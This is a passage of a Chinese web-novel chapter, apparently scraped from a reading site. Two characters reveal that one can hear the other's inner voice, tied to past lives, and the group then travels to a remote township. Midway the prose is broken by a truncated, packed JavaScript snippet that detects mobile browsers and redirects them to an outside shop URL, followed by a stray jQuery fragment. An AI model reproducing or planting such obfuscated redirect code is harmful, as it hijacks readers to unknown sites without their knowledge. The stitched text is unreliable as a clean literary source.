“什么?”
沈渡没明白他的意思,但能猜到他想说的是什么。
“我父母都是法医,工作很忙顾不上我,小时候我就经常去街心公园玩,一呆就是一整天。”宁栩还能回忆起儿时环绕在身边的树木香,那个念头第一次出现的时候也是伴着熟悉的树木香。
“法医很了不起。”沈渡高中室友就是法医专业,她对法医的日常工作还算了解,“你父母一定是很爱你的。”
“我记得有次街心花园旁边小区有人跳楼,正好是我母亲出现场,我看见她就想凑过去说说话,跑得太急摔倒在地上,膝盖破皮一大块,她也没停下和我说话。”
宁栩轻车熟路的把车停到线内,过去二十年,他一有烦心事就会来这里。
“不过那天的好消息是跳楼的人没死。”他说完又笑笑,“也不能这样说,对于那个人来说,可能还会怪我们把他救回来。”
“但对你母亲来说这一天就是有意义的。”
小小的宁栩是怀抱着什么的心情日复一日在热闹的公园里品尝着自己的寂寞呢?他现在温和善良的性格底色大概也是来源于他的母亲吧。
槐花的香味很有分寸,既不霸道也不浓郁,淡淡的清甜让沈渡情不自禁的放松下来。
“是吧,活着不就是不断的寻找意义吗?”
今晚约沈渡见面并不是冲动而为,宁栩已经想过很久,他不想再带着秘密,他想在沈渡面前是清清白白的,就像是一阵风穿过山林,让她看穿自己。
沈渡点点头,坐在长凳上,和宁栩只有半米的距离,“说到意义,我还有事情要和你说。你先说你的事吧,怎么不坐下?”
“我……”宁栩也觉得站着有点奇怪,“好,我坐下说。”
“那天你在车上说要知道我的秘密。我现在告诉你,对不起,让你等这么久。”
“也不算很久。”沈渡不是敷衍,如果说过去大半年的经历教会她一件事,那就是耐心,“重要的事物都是需要等待的,真相是,真心也是。”
她想,如果宁栩说出自己的秘密,那她也会说出自己的秘密。
背负太多总是辛苦。
“我没有不想让你知道,我只是害怕。”
宁栩的声音有些颤抖,没逃过沈渡的耳朵,“在我十岁那年,我在街心公园看书的时候突然在心里听见一个声音,那个声音就是我的声音,但并不是我想的,你能明白我的意思吗?”
“就像是突然出现的?”他十一岁那年,自己正好七岁。
“嗯,是。”
宁栩指节因攥紧而发白,他甚至能在风刮过树叶的声音和人声中听见自己的心跳声,再开口时语速比往日般半分,声调却很坚定,“我听见那个声音说,我要娶阿寻。”
他说完没从沈渡脸上看到意料之中的情绪,心更加慌起来,“你好像不惊讶?”
“我知道。”
难怪说关心则乱,沈渡喜欢此刻宁栩的笨拙,和聪明的男人打交道是很头疼的,“如果我不知道你有什么秘密,为什么会等你告诉我呢。”
她还不知道再聪明的男人在自己喜欢的女人面前都是笨拙的,尤其是在不确定那个女人心意的时候。
“你怎么会知道?”
自己从来没有告诉过任何人,只是问过师父是否会存在这种不间断出现同一内容心声的情况。师父说大概是前世的因果,缘分还没消,执念还在,就会以这种形式继续,不过这样的情况很少,因为很难有人的执念会跨越这么久。
难道说……她也能听见这个声音,可她说的是知道自己的秘密。
“因为我能听见你的心音。”沈渡靠在椅背上,抬起头对上宁栩骤然放大的瞳孔,“从七岁就能听见,什么内容都有。在十八岁生日那天,我听见你说,我要娶阿寻。”
被人窥探心声的慌张很快被另一种情绪覆盖过去,“你还有听见什么?”
在自己以为最隐私的时刻的密语,却有被沈渡听见的可能,宁栩回忆不起来有没有说过什么不该说的话,只能试探着从她的眼神里感受一二。
“没有什么特别的。”
对于从前的沈渡来说,她确实没有把心思太多放在宁栩和陆还明身上,“所以从第一次见到你的时候,不对,应该说是从第一次在现实里听见你的声音的时候,我就已经认出你。从蛟喊出我名字的时候,你就认出我了吧。”
“那时候我还不确定。”
宁栩觉得怎么解释都不对,只能把自己的想法尽数说出,“我不是因为你是阿寻才喜欢你的,我喜欢的是你这个人,无所谓名字,也无所谓身份,我也有想过这个问题。正是因为怕你误会,所以我才一直没有告诉你。”
他心里很着急,却极力让声音保持平静。
“这也是我想说的。”
沈渡站起身,走向不远处的槐花树,花落之后明年还会再开,可明年的花还算是今年的花吗?前世今生也是一样,她能接受自己就是阿寻,背负阿寻的使命。
但她能接受宁栩是因为阿寻而喜欢上沈渡吗?
“你怎么确定喜欢的就是我这个人?”她在问宁栩,也是在问自己。
宁栩半天没说话,他不知道该用什么样的语言才能让她信服,“如果真的喜欢上一个人,就不会再有犹豫。我愿意,把我的前世今生都交付给你,如果还有来世,我也绝对要和你一起度过。”
“前世?”沈渡笑笑,她现在最想知晓的就是自己的前世,福寿坊的过往,“说不定我们前世是仇人。”
“不会。”
宁栩想也没想就脱口而出,“我永远不会恨你,这是我的直觉。要是我连这么点直觉都没有,我师父也不会收我为徒。”
“说到仇人,我也有个秘密要告诉你。”沈渡转向宁栩的方向,她知道他有多讨厌陆还明,“从七岁那年开始,我能听见两个人的声音,另一个声音是陆还明的。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17740994|206017||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>在这个时刻听到陆还明的名字让宁栩一阵反胃,但他也在这一刻明白,为什么沈渡会那么反常地护着陆还明,如果她要找出真相,那他确实是很重要的角色。
“他说过什么?”宁栩面无表情,总不会是两男争一女的俗套情节。
“在十八岁那天,他和你的声音第一次一起响起,他说他要杀掉我。不过你放心,我确信他现在已经没有这个想法。”
至于其他,沈渡不打算和宁栩说,靠自己就足够。
“确信?”宁栩眉头紧锁,眼前浮现出陆还明桀骜的模样,说他杀过人自己也信,“难道是因为他喜欢你?所以转恨为爱?”
沈渡天生对男女之情有些迟钝,陆还明对她的特别,她全部归结于是冥冥之中的巧合,但宁栩这么一说,她也有些怀疑。
会不会太过自恋,沈渡摇摇头,没再想下去,“是因为他和我一样,也想要一个真相。”
“下周结课后,我要去双桥找福寿坊的遗址,白随和陆还明也会和我一起。你也会和我一起吧。”
她不是在邀请,是通知,语气虽不强硬,但也不容人拒绝。
“那我以什么身份去?”宁栩嗓子发哑,或许是路灯折射的原因,沈渡似乎能看见他眼中的点点泪光,“你男朋友吗?”
眼前人垂着眼,长睫遮去眼底光亮,薄唇微微抿起,一副落寞无措的模样,沈渡没办法拒绝,也害怕答应,只留下模棱两可的一句话,“你可以和陆还明这样说。”
对于宁栩来说,这句话已经足够,但他知道他迟早会要更多。
————
五天后,沈渡一行四人到达双桥镇。还有两天才到五一小长假,高速上还没开始堵,他们早上六点出发,到柳岗乡民宿的时候天刚擦黑。
柳兰乡距离镇中心只有一百公里,但完全是另一幅景象,基础设施破旧,和精神文明沾边的也基本一点也没有,地广人稀,很少有游客踏足这里,用白随的话来说就是“连三家村都不如”,所以民宿老板看见他们时极为热情。
“姑娘,我听你的口音,是不是就是双桥人?”老板自称四十二岁,但保养的很好,看起来也就三十出头,短发干净利落。
沈渡没回答她的问题,“你是柳岗乡本地人?我刚刚进门的时候看见对面有家炒菜,说是百年老店,正宗吗?”
“你们想吃什么我给你们炒。”老板捂嘴笑起来,“我们这哪来的百年老店,一百年前这……不说不说,怕吓到你。”
她说完就转身离开,把钥匙放在门口长桌上,说今晚她有事儿,让他们自己如果要出门就记得就自己锁门。
一整天的车程让他们都很疲惫,谁也没出门的意思,草草洗漱后就各自回房。
刚躺到床上闭上眼,沈渡突然脑子里出现外公的声音——是第一次梦见他时,那句没有说完的话,“千万不要。”
他想说什么,千万不要回到柳岗乡?千万不要追查当年的事情?